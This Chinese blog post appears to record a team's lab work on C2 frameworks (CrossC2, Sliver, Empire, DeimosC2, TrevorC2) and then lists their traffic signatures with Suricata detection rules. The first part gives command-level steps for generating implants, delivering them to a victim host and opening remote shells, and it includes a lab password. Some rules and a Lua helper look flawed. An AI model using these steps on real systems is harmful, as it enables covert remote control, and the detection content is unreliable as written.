【组内工作】木马回联

文章目录

  • C2服务器安装和运行方法
    • CrossC2运行方法
    • sliver运行方法
    • empire安装方法
    • DeimosC2安装教程
    • TrevorC2安装教程:
  • C2服务器的流量特征
    • CrossC2
      • 1. 心跳包
      • 2. 命令
      • 3. ja3/ja3s
    • Sliver
      • 1. http
      • 2. https
    • empire
      • http
      • https
    • DeimosC2
      • https
    • TrevorC2

C2服务器安装和运行方法

CrossC2运行方法

注意:这个只能是服务器和攻击者是同一台主机才能运行,即都是192.168.230.137

cs服务器:192.168.230.137(kali)
攻击者:192.168.230.137(kali)
受害者:192.168.230.143(windows 10)

  • 在cs服务器192.168.230.137上:

    1. 打开一个终端,输入:
      sudo su
      ./teamserver 192.168.230.137 123456
  • 在攻击者192.168.230.137上:

    1. 再打开一个终端,输入:
      ./cobaltstrike

    2. 设置监听器,https的

    3. 导入插件,cna文件

    4. 生成payload

    5. 将生成的恶意文件(两个,一个是lib,一个是out)放到受害者主机上

  • 在受害者192.168.230.143上:
    ./t_cc2.out

  • 在攻击者192.168.230.137上运行wireshark即可,过滤条件ip.addr==192.168.230.143

sliver运行方法

cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143

  • 在cs服务器192.168.230.137上:
    ./sliver-server_linux
    new-operator --name qinjian --lhost 192.168.230.137 //只用执行第一次
    multiplayer

  • 在攻击者192.168.230.138上:
    将cs服务器192.168.230.137上生成的文件放到与sliver-client_linux同目录下
    ./sliver-client_linux import qinjian_192.168.230.137.cfg //只用执行第一次
    ./sliver-client_linux

  • 接下来,无论在cs服务器或者攻击者上都可以,执行以下命令:
    generate --mtls 192.168.230.137 --save test.exe --os Windows //生成shell
    mtls //开启mtls协议监听
    implants //查看生成过的shell
    jobs //查看进程

  • 将生成的shell文件test.exe放到windows受害者上,并运行
    双击test.exe

  • 接下来,无论在cs服务器或者攻击者上都可以,执行以下命令:
    sessions //查看会话
    sessions -i id //进入会话 sessions -k id //结束会话
    shell --shell-path "C:\\windows\system32\cmd.exe" //进入交互式shell
    exit //退出

  • 在攻击者192.168.230.138上开启wireshark抓包,过滤条件ip.addr==192.168.230.143

empire安装方法

注意这里cs服务器和攻击者是同一台机器

cs服务器:192.168.230.138
攻击者:192.168.230.138
受害者:192.168.230.143

  • 在cs服务器192.168.230.138上运行:
    ./ps-empire server

  • 在攻击者192.168.230.138上运行:
    ./ps-empire client

  • 设置监听器:
    uselistener [tap键选择监听器类型]
    set Name [监听器名称]
    set Port [端口号]
    execute
    listeners //查看设置的监听器
    kill [监听器Name] //删除监听器

  • 设置后门:
    usestager [tap键选择后门类型]
    set Listener [监听器Name]
    set OutFile [后门文件,例如launcher.bat] //可写可不写,默认就是set OutFile launcher.bat
    execute

  • 将launcher.bat放到/var/www/html目录下,然后让受害者192.168.230.143访问该文件

  • 在攻击者192.168.230.138上运行:
    agents //查看获取的代理会话
    shell whoami //执行命令

DeimosC2安装教程

cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143

  • cs服务器上运行:
    ./DeimosC2

  • 攻击者上:
    登录https://192.168.230.137:8443
    用户名:qinjian
    密码:qinjian1030
    add listener – 地址设为192.168.230.137
    下载对应操作系统的agents,下载的位置可以从浏览器的右上角的下载标志找到

  • 受害者上:
    运行下载的agents

TrevorC2安装教程:

cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143

sudo su
conda create -n py37 python=3.7(只第一次需要运行)
conda activate py37

  • 在cs服务器上运行:
    目录:SecistSploit
    sudo su
    conda activate py37
    python SSF.py
    use listener/trevorc2
    show options
    set lhost [本机ip] // 设置当前ip
    set target 2 // 设置生成的agent文件的类型,有三种1->C# 2->powershell 3->python
    run // 生成agent文件

    list // 查看受害者主机
    interact 1 // 与受害者主机交互

  • 在受害者上运行生成的agent文件

C2服务器的流量特征

CrossC2

1. 心跳包

在这里插入图片描述
suricata规则:
自己想的:alert tcp any any -> any any (msg:"Heartbeat Extension Detected"; flow:established; tls.handshake.type: 1; tls.handshake.extensions["heartbeat"]; content:"|00 0F 00 01 01|"; depth:5;sid:100001; rev:1; )

实际用的:alert tcp any any -> any any (msg:"Heartbeat Extension Detected";flow:established;content:"|00 0F 00 01 01|";sid:100001;rev:1;)

2. 命令

  1. 执行命令时与平时的心跳包不太一样,会多传一些数据:
    在这里插入图片描述

  2. 并且加密数据是以00 00 00 00 00 00 00 02开头的
    在这里插入图片描述

    suricata规则:alert tls any any -> any any (msg:"Detect HTTPS Application Data with 0000000000000002";content: "|00 00 00 00 00 00 00 02|";flow:established; sid:100002; rev:1;)

3. ja3/ja3s

ja3:alert tls any any -> any any(msg:"CorssC2 https ja3";ja3.hash;content:"fd80fa9c6120cdeea8520510f3c644ac";classtype:misc-activity;sid:1001;rev:1)

ja3s:alert tls any any <> any any(msg:"CorssC2 https ja3s";ja3s.hash;content:"b7bd51222a09f3ad66a340710ae9c01a";sid:1002)

Sliver

1. http

  • 独特的头部特定标识 / 特定的请求响应模式(html)

    观察sliver的源码发现,Sliver的C2木马连接服务端有5种类型的消息,使用内置路径段随机生成请求路径,所有路径将具有以下扩展名之一,不同的文件扩展名指示了请求的类型。除了扩展名之外,路径中的所有内容都会被服务器忽略。

    • .woff = Stagers(默认不使用)
    • .js = Long poll messages(长消息轮询,加密交互数据)
    • .html = Key exchange messages (密钥交换,set-cookie)
    • .php = Session messages
    • .png = Close session messages(关闭会话)

    随机路径生成的方法:
    在这里插入图片描述
    请求包的特征:

    1. 方法:POST/GET
    2. path为各个后缀所对应的字符串列表中多个字符串的组合:StagerPaths、PollPaths、SessionPaths、ClosePaths
    3. 文件名为各个后缀所对应的字符串列表其中之一的字符串:StagerFiles、PollFiles、SessionFiles、CloseFiles
    4. 文件后缀:.woff、.js、.html、.php、.png
    5. 参数名称为NonceQueryArgs: “abcdefghijklmnopqrstuvwxyz_”,从这些字符串中选择1-2个
    6. nonce值的长度为1到10位,包含数字和小写字母与下划线。

    综上,写出的suricata规则为:

    .woffalert tcp any any -> any any (msg: "Sliver HTTP woff request"; flow:to_server,established;content:".woff";http_uri;pcre: "/\/(static|assets|fonts|locales)(.*?)((attribute_text_w01_regular|ZillaSlab-Regular\.subset\.bbc33fb47cf6|ZillaSlab-Bold\.subset\.e96c15f68c68|Inter-Regular|Inter-Medium)\.woff)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000001;classtype:trojan-activity; rev:1;)

    .jsalert tcp any any -> any any (msg: "Sliver HTTP js request"; flow:to_server,established;content:"GET";http_method;nocase;content:".js";http_uri;pcre: "/\/(js|umd|assets|bundle|bundles|scripts|script|javascripts|javascript|jscript)(.*?)((bootstrap|bootstrap.min|jquery.min|jquery|route|app|app.min|array|backbone|script|email)\.js)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000002;classtype:trojan-activity; rev:1;)

    .htmlalert tcp any any -> any any (msg: "Sliver HTTP html request&getsessionID"; flow:to_server,established;content:"POST";http_method;nocase;content:".html";http_uri;pcre: "/\/(php|api|upload|actions|rest|v1|oauth2callback|authenticate|oauth2|oauth|auth|database|db|namespaces)(.*?)((login|signin|api|samples|rpc|index|admin|register|sign-up)\.html)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000003;flowbits:set,name;flowbits:noalert;classtype:trojan-activity; rev:1;)

    .htmlalert tcp any any <> any any (msg: "Sliver HTTP html response&set-cookie";flow:to_client,established;content:"Set-Cookie";http_header;pcre:"/^Set-Cookie\:\s*(PHPSESSID|SID|SSID|APISID|csrf-state|AWSALBCORS)\=[a-z0-9]{32}\;\s*HttpOnly$/i";sid:1000004;flowbits:isset,name;classtype:trojan-activity;)

    .phpalert tcp any any -> any any (msg: "Sliver HTTP php request"; flow:to_server,established;content:"POST";http_method;nocase;content:".php";http_uri;pcre: "/\/(php|api|upload|actions|rest|v1|oauth2callback|authenticate|oauth2|oauth|auth|database|db|namespaces)(.*?)((login|signin|api|samples|rpc|index|admin|register|sign-up)\.php)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000005;classtype:trojan-activity; rev:1;)

    .pngalert tcp any any -> any any (msg: "Sliver HTTP png request"; flow:to_server,established;content:".png";http_uri;pcre: "/\/(static|www|assets|images|icons|image|icon|png)(.*?)((favicon|sample|example)\.png)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000006;classtype:trojan-activity; rev:1;)

2. https

  • ja3(s)加密指纹特征:

    ja3:Alert tls any any -> any any(msg:"sliver https debian";ja3.hash;content:"19e29534fd49dd27d09234e639c4057e";classtype:misc-activity;sid:1001;rev:1)

    ja3s:Alert tls any any <> any any(msg:"sliver https";ja3s.hash;content:"f4febc55ea12b31ae17cfb7e614afda8";sid:1002)

empire

http

https

DeimosC2

https

  • tls版本1.2/1.3
    在这里插入图片描述

  • https端口号:C2服务器默认为4443(不过可以修改)

  • ja3(s)加密指纹特征
    ja3:Alert tls any any -> any any(msg:"sliver https debian";ja3.hash;content:"e564ee1b7bcae4467d8c759df910ed9c";classtype:misc-activity;sid:1001;rev:1)
    ja3s:Alert tls any any <> any any(msg:"sliver https";ja3s.hash;content:"f4febc55ea12b31ae17cfb7e614afda8";sid:1002)(和sliver一样)
    在这里插入图片描述
    在这里插入图片描述

TrevorC2

  • 心跳包:http(服务器主机返回的http相应包会包含非常多的payload,且Reassembled TCP length: 386861)
    在这里插入图片描述
    在这里插入图片描述

  • 受害者主机端口号每次发送一个http请求,就更换一个端口,端口号逐次+1
    在这里插入图片描述
    在这里插入图片描述
    Suricata规则:alert tcp any any -> any any (msg:"HTTP Request Source Port Sequential Increase"; flow:established, to_server; content:"GET"; http_method; pcre:"/^Host:[^\r\n]+\r\n/"; lua:check_port.lua; sid:100001; rev:1;)
    check_port.lua代码:

    function init(args)-- 这里可以执行一些初始化操作local rules = {}return rules
    endfunction check_port(pkt, data)if not pkt.is_http or not pkt.is_request thenreturn 0endlocal src_port = pkt.src_portlocal prev_src_port = pkt.prev_pkt.src_portif src_port ~= prev_src_port + 1 thenreturn 1endreturn 0
    end
  • 交互发送命令,受害者主机会发送一个url为:/images?guid=xxxx,xxxx类似于base64编码,最后会用=填充(有时候能用base64解码,有时候不能,而且解出来的编码也很像base64编码)
    在这里插入图片描述
    Suricata规则:alert tcp any any -> any any (msg: "TrevorC2 interact"; flow:to_server,established;content:"/images?guid=";http_uri;pcre: "/\/images\?guid=[A-za-z0-9+\/=](.*)/i";sid:1000002;classtype:trojan-activity; rev:1;)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/12118.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python - 嵌入式数据库Sqlite3的基本使用

SQLite是一种轻量级的嵌入式关系型数据库管理系统&#xff0c;而Python标准库中提供了与SQLite交互的模块&#xff0c;sqlite3。下面是一个Python 3中使用sqlite3模块的详细示例与解析。 import sqlite3 # 创建或连接数据库 conn sqlite3.connect(example.db) # 创建一个…

iperf3 编译安装及网讯WX1860千兆网口测试

iperf3 编译安装及网讯1860千兆网口测试 编译安装 安装包下载地址:https://github.com/esnet/iperf/archive/refs/tags/3.8.tar.gz 将安装包iperf-3.8.tar.gz拷贝测试系统盘桌面,使用如下命令进行编译安装: tar zxvf iperf-3.8.tar.gz cd iperf-3.8 ./configure make s…

48,排序算法merge

功能描述&#xff1a; 两个容器元素合并&#xff0c;并储存到另一容器中 函数原型&#xff1a; merge(iterator beg1,iterator end1,iterator beg2,iterator end2,iterator dest); //容器元素合并&#xff0c;并存储到另一个容器中 //注意&#xff1a;两个容器必须是有序的…

vue : 无法加载文件 C:\Users\jianfei\AppData\Roaming\npm\vue.ps1,因为在此系统上禁止运行脚本。...

背景 在新电脑上配置vue环境 PS E:\CODE_PROJ\myvue\vue23\P61_使用脚手架\vue_test> npm install -g vue/cli npm WARN deprecated source-map-url0.4.1: See https://github.com/lydell/source-map-url#deprecated npm WARN deprecated urix0.1.0: Please see https://git…

Unity UGUI的PhysicsRaycaster (物理射线检测)组件的介绍及使用

Unity UGUI的PhysicsRaycaster (物理射线检测)组件的介绍及使用 1. 什么是PhysicsRaycaster组件&#xff1f; PhysicsRaycaster是Unity UGUI中的一个组件&#xff0c;用于在UI元素上进行物理射线检测。它可以检测鼠标或触摸事件是否发生在UI元素上&#xff0c;并将事件传递给…

【btoa()方法在linux系统中,出现报错】

问题1&#xff1a;为什么在linux系统中&#xff0c;var sendEncoded btoa(deviceData);这里会出现下面的报错&#xff1f; UnhandledPromiseRejectionWarning: ReferenceError: btoa is not defined 分析如下&#xff1a;在Linux系统中&#xff0c;Node.js默认情况下不支持b…

HDFS基本操作命令

这里写目录标题 HDFS Shell CLI客户端说明常用命令hadoop fs -mkdir [-p] <path>hadoop fs -ls [-h] [-R] [<path>...]上传文件到指定目录下方法一:hadoop fs -put [-f] [-p] <localsrc>.....<dst>方法二&#xff1a;hadoop fs -moveFromLocal <loc…

设计模式系列:经典的单例模式

单例模式,是设计模式当中非常重要的一种,在面试中也常常被考察到。 正文如下: 一、什么时候使用单例模式? 单例模式可谓是23种设计模式中最简单、最常见的设计模式了,它可以保证一个类只有一个实例。我们平时网购时用的购物车,就是单例模式的一个例子。想一想,如果购物…

docker基于centos7镜像安装python3.7.9

下载centos7镜像 docker pull centos&#xff1a;centos7 启动容器centos-python-3.7 docker run -itd --name centos-python-3.7 -p 60021:22 --privileged centos:centos7 /usr/sbin/init 进入容器 docker exec -it centos-python-3.7 /bin/bash centos7环境下安装python3.7.…

vue2企业级项目(四)

vue2企业级项目&#xff08;四&#xff09; 路由设计&#xff0c;过场动画设计 1、router 项目下载依赖 npm install --save vue-router3.5.3src目录下创建router/index.js import Vue from "vue"; import Router from "vue-router";Vue.use(Router);con…

Java那些“锁”事 - 可重入锁(递归锁)

可重入锁是一种线程同步的机制&#xff0c;它允许线程多次获取同一个锁&#xff0c;而不会产生死锁。可重入锁的特点是在持有锁的情况下可以再次进入同步代码块或方法&#xff0c;而不会被阻塞。ReentrantLock和synchronized都是可重入锁。ReentrantLock属于显式可重入锁&#…

Vue源码学习 - 异步更新队列 和 nextTick原理

目录 前言一、Vue异步更新队列二、nextTick 用法三、原理分析四、nextTick 源码解析1&#xff09;环境判断2&#xff09;nextTick() 五、补充 前言 在我们使用Vue的过程中&#xff0c;基本大部分的 watcher 更新都需要经过 异步更新 的处理。而 nextTick 则是异步更新的核心。…

MacOS本地安装Hadoop3

金翅大鹏盖世英&#xff0c;展翅金鹏盖世雄。 穿云燕子锡今鸽&#xff0c;踏雪无痕花云平。 ---------------- 本文密钥&#xff1a;338 ----------------- 本文描述了在macbook pro的macos上安装hadoop3的过程&#xff0c;也可以作为在任何类linux平台上安装hadoop3借鉴。 …

4、Linux驱动开发:设备-设备号设备号注册

目录 &#x1f345;点击这里查看所有博文 随着自己工作的进行&#xff0c;接触到的技术栈也越来越多。给我一个很直观的感受就是&#xff0c;某一项技术/经验在刚开始接触的时候都记得很清楚。往往过了几个月都会忘记的差不多了&#xff0c;只有经常会用到的东西才有可能真正记…

Verilog语法学习——LV2_异步复位的串联T触发器

LV2_异步复位的串联T触发器 题目来源于牛客网 [牛客网在线编程_Verilog篇_Verilog快速入门 (nowcoder.com)](https://www.nowcoder.com/exam/oj?page1&tabVerilog篇&topicId301) 题目 题目描述&#xff1a; 用verilog实现两个串联的异步复位的T触发器的逻辑&#x…

MATLAB算法实战应用案例精讲-【深度学习】预训练模型GPTXLNet

目录 GPT 1. 介绍 1.1 GPT的动机 2. 模型结构 3. GPT训练过程 3.1 无监督的预训练

【LeetCode】141.环形链表

题目 给你一个链表的头节点 head &#xff0c;判断链表中是否有环。 如果链表中有某个节点&#xff0c;可以通过连续跟踪 next 指针再次到达&#xff0c;则链表中存在环。 为了表示给定链表中的环&#xff0c;评测系统内部使用整数 pos 来表示链表尾连接到链表中的位置&#…

opencv-22 图像几何变换01-缩放-cv2.resize()(图像增强,图像变形,图像拼接)

什么是几何变换&#xff1f; 几何变换是计算机图形学中的一种图像处理技术&#xff0c;用于对图像进行空间上的变换&#xff0c;而不改变图像的内容。这些变换可以通过对图像中的像素位置进行调整来实现。 常见的几何变换包括&#xff1a; 平移&#xff08;Translation&#x…

IT行业面试攻略:技巧与心态的平衡

引言&#xff1a;在面试IT公司时&#xff0c;调整好心态是取得优秀表现的关键。面试心态直接影响着我们在面试中的自信程度和表现。面对这一挑战&#xff0c;我们需要学会积极自信、认识到紧张是正常的、进行充分准备以及以积极的心态去迎接面试。只有在拥有正确的心态下&#…

STM32MP157驱动开发——按键驱动(tasklet)

文章目录 “tasklet”机制&#xff1a;内核函数定义 tasklet使能/ 禁止 tasklet调度 tasklet删除 tasklet tasklet软中断方式的按键驱动程序(stm32mp157)tasklet使用方法&#xff1a;button_test.cgpio_key_drv.cMakefile修改设备树文件编译测试 “tasklet”机制&#xff1a; …